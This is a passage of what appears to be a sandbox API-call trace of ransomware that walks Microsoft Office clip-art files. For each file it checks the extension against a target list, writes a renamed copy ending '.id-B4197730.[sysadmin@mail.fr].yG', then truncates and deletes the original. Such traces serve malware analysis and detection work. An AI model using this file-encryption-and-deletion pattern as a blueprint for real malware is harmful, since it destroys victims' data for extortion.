	[0161.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68
	[0161.896] lstrlenW (lpString=".1cd") returned 4
	[0161.896] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0161.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68
	[0161.896] lstrlenW (lpString=".jpg") returned 4
	[0161.896] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0161.897] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0161.897] lstrlenW (lpString="J0099205.WMF") returned 12
	[0161.897] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099205.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0161.898] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=17854) returned 1
	[0161.898] CloseHandle (hObject=0x514) returned 1
	[0161.898] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099205.wmf")) returned 0x220
	[0161.899] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099205.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0161.899] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099205.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0161.899] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.899] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.899] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099205.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0161.900] GetLastError () returned 0x0
	[0161.900] ReadFile (in: hFile=0x514, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x45be, lpOverlapped=0x0) returned 1
	[0161.918] WriteFile (in: hFile=0x38c, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0x45c0, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0x45c0, lpOverlapped=0x0) returned 1
	[0161.920] ReadFile (in: hFile=0x514, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0161.920] WriteFile (in: hFile=0x38c, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0161.920] SetEndOfFile (hFile=0x38c) returned 1
	[0161.920] CloseHandle (hObject=0x38c) returned 1
	[0161.920] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.920] SetEndOfFile (hFile=0x514) returned 1
	[0161.926] CloseHandle (hObject=0x514) returned 1
	[0161.927] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0161.929] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099205.wmf")) returned 1
	[0161.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68
	[0161.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68
	[0161.930] lstrlenW (lpString=".doc") returned 4
	[0161.930] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0161.930] lstrlenW (lpString=".docx") returned 5
	[0161.930] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1
	[0161.931] lstrlenW (lpString=".pdf") returned 4
	[0161.931] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0161.931] lstrlenW (lpString=".xls") returned 4
	[0161.931] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0161.931] lstrlenW (lpString=".xlsx") returned 5
	[0161.931] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1
	[0161.931] lstrlenW (lpString=".ppt") returned 4
	[0161.931] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0161.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68
	[0161.931] lstrlenW (lpString=".zip") returned 4
	[0161.931] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0161.931] lstrlenW (lpString=".rar") returned 4
	[0161.931] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0161.931] lstrlenW (lpString=".bz2") returned 4
	[0161.931] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0161.931] lstrlenW (lpString=".7z") returned 3
	[0161.931] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0161.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68
	[0161.931] lstrlenW (lpString=".dbf") returned 4
	[0161.931] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0161.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68
	[0161.932] lstrlenW (lpString=".1cd") returned 4
	[0161.932] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0161.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68
	[0161.932] lstrlenW (lpString=".jpg") returned 4
	[0161.932] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0161.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68
	[0161.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68
	[0161.932] lstrlenW (lpString=".doc") returned 4
	[0161.932] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0161.932] lstrlenW (lpString=".docx") returned 5
	[0161.932] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1
	[0161.932] lstrlenW (lpString=".pdf") returned 4
	[0161.932] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0161.932] lstrlenW (lpString=".xls") returned 4
	[0161.932] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0161.932] lstrlenW (lpString=".xlsx") returned 5
	[0161.933] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1
	[0161.933] lstrlenW (lpString=".ppt") returned 4
	[0161.933] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0161.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68
	[0161.933] lstrlenW (lpString=".zip") returned 4
	[0161.933] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0161.933] lstrlenW (lpString=".rar") returned 4
	[0161.933] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0161.933] lstrlenW (lpString=".bz2") returned 4
	[0161.933] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0161.933] lstrlenW (lpString=".7z") returned 3
	[0161.933] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0161.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68
	[0161.933] lstrlenW (lpString=".dbf") returned 4
	[0161.933] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0161.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68
	[0162.241] lstrlenW (lpString=".1cd") returned 4
	[0162.241] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0162.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68
	[0162.241] lstrlenW (lpString=".jpg") returned 4
	[0162.241] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0162.241] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101858.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0162.242] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=32184) returned 1
	[0162.243] CloseHandle (hObject=0x34c) returned 1
	[0162.243] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101858.bmp")) returned 0x220
	[0162.243] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101858.bmp.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0162.243] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101858.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0162.244] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.244] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.244] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101858.bmp.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0162.245] GetLastError () returned 0x0
	[0162.245] ReadFile (in: hFile=0x34c, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x7db8, lpOverlapped=0x0) returned 1
	[0162.299] WriteFile (in: hFile=0x4a4, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0x7dc0, lpOverlapped=0x0) returned 1
	[0162.300] ReadFile (in: hFile=0x34c, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0162.301] WriteFile (in: hFile=0x4a4, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0162.301] SetEndOfFile (hFile=0x4a4) returned 1
	[0162.301] CloseHandle (hObject=0x4a4) returned 1
	[0162.301] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.301] SetEndOfFile (hFile=0x34c) returned 1
	[0162.313] CloseHandle (hObject=0x34c) returned 1
	[0162.314] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0162.314] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101858.bmp")) returned 1
	[0162.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68
	[0162.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68
	[0162.317] lstrlenW (lpString=".doc") returned 4
	[0162.317] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1
	[0162.317] lstrlenW (lpString=".docx") returned 5
	[0162.317] lstrcmpiW (lpString1=".docx", lpString2="8.BMP") returned -1
	[0162.317] lstrlenW (lpString=".pdf") returned 4
	[0162.317] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1
	[0162.317] lstrlenW (lpString=".xls") returned 4
	[0162.317] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1
	[0162.318] lstrlenW (lpString=".xlsx") returned 5
	[0162.318] lstrcmpiW (lpString1=".xlsx", lpString2="8.BMP") returned -1
	[0162.318] lstrlenW (lpString=".ppt") returned 4
	[0162.318] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1
	[0162.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68
	[0162.318] lstrlenW (lpString=".zip") returned 4
	[0162.318] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1
	[0162.318] lstrlenW (lpString=".rar") returned 4
	[0162.318] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1
	[0162.318] lstrlenW (lpString=".bz2") returned 4
	[0162.318] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1
	[0162.318] lstrlenW (lpString=".7z") returned 3
	[0162.318] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1
	[0162.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68
	[0162.318] lstrlenW (lpString=".dbf") returned 4
	[0162.319] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1
	[0162.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68
	[0162.319] lstrlenW (lpString=".1cd") returned 4
	[0162.319] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1
	[0162.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68
	[0162.319] lstrlenW (lpString=".jpg") returned 4
	[0162.319] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1
	[0162.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101860.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0162.356] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=32184) returned 1
	[0162.356] CloseHandle (hObject=0x38c) returned 1
	[0162.356] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101860.bmp")) returned 0x220
	[0162.358] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101860.bmp.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0162.358] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101860.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0162.360] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.361] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.361] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101860.bmp.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0162.695] GetLastError () returned 0x0
	[0162.695] ReadFile (in: hFile=0x38c, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x7db8, lpOverlapped=0x0) returned 1
	[0162.733] WriteFile (in: hFile=0x42c, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0x7dc0, lpOverlapped=0x0) returned 1
	[0162.734] ReadFile (in: hFile=0x38c, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0162.734] WriteFile (in: hFile=0x42c, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0162.735] SetEndOfFile (hFile=0x42c) returned 1
	[0162.735] CloseHandle (hObject=0x42c) returned 1
	[0162.735] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.735] SetEndOfFile (hFile=0x38c) returned 1
	[0162.739] CloseHandle (hObject=0x38c) returned 1
	[0162.739] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0162.740] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101860.bmp")) returned 1
	[0162.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68
	[0162.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68
	[0162.741] lstrlenW (lpString=".doc") returned 4
	[0162.741] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1
	[0162.741] lstrlenW (lpString=".docx") returned 5
	[0162.741] lstrcmpiW (lpString1=".docx", lpString2="0.BMP") returned -1
	[0162.741] lstrlenW (lpString=".pdf") returned 4
	[0162.741] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1
	[0162.741] lstrlenW (lpString=".xls") returned 4
	[0162.741] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1
	[0162.741] lstrlenW (lpString=".xlsx") returned 5
	[0162.741] lstrcmpiW (lpString1=".xlsx", lpString2="0.BMP") returned -1
	[0162.741] lstrlenW (lpString=".ppt") returned 4
	[0162.741] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1
	[0162.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68
	[0162.741] lstrlenW (lpString=".zip") returned 4
	[0162.741] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1
	[0162.742] lstrlenW (lpString=".rar") returned 4
	[0162.742] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1
	[0162.742] lstrlenW (lpString=".bz2") returned 4
	[0162.742] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1
	[0162.742] lstrlenW (lpString=".7z") returned 3
	[0162.742] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1
	[0162.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68
	[0162.742] lstrlenW (lpString=".dbf") returned 4
	[0162.742] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1
	[0162.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68
	[0162.742] lstrlenW (lpString=".1cd") returned 4
	[0162.742] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1
	[0162.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68
	[0162.742] lstrlenW (lpString=".jpg") returned 4
	[0162.742] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1
	[0162.742] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101865.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0162.744] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=32184) returned 1
	[0162.744] CloseHandle (hObject=0x38c) returned 1
	[0162.744] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101865.bmp")) returned 0x220
	[0162.744] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101865.bmp.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0162.744] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101865.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0162.744] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.745] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.745] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101865.bmp.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0162.745] GetLastError () returned 0x0
	[0162.745] ReadFile (in: hFile=0x38c, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x7db8, lpOverlapped=0x0) returned 1
	[0162.749] WriteFile (in: hFile=0x42c, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0x7dc0, lpOverlapped=0x0) returned 1
	[0162.750] ReadFile (in: hFile=0x38c, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0162.750] WriteFile (in: hFile=0x42c, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0162.751] SetEndOfFile (hFile=0x42c) returned 1
	[0162.751] CloseHandle (hObject=0x42c) returned 1
	[0162.751] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.751] SetEndOfFile (hFile=0x38c) returned 1
	[0162.765] CloseHandle (hObject=0x38c) returned 1
	[0162.766] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0162.767] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101865.bmp")) returned 1
	[0163.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68
	[0163.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68
	[0163.063] lstrlenW (lpString=".doc") returned 4
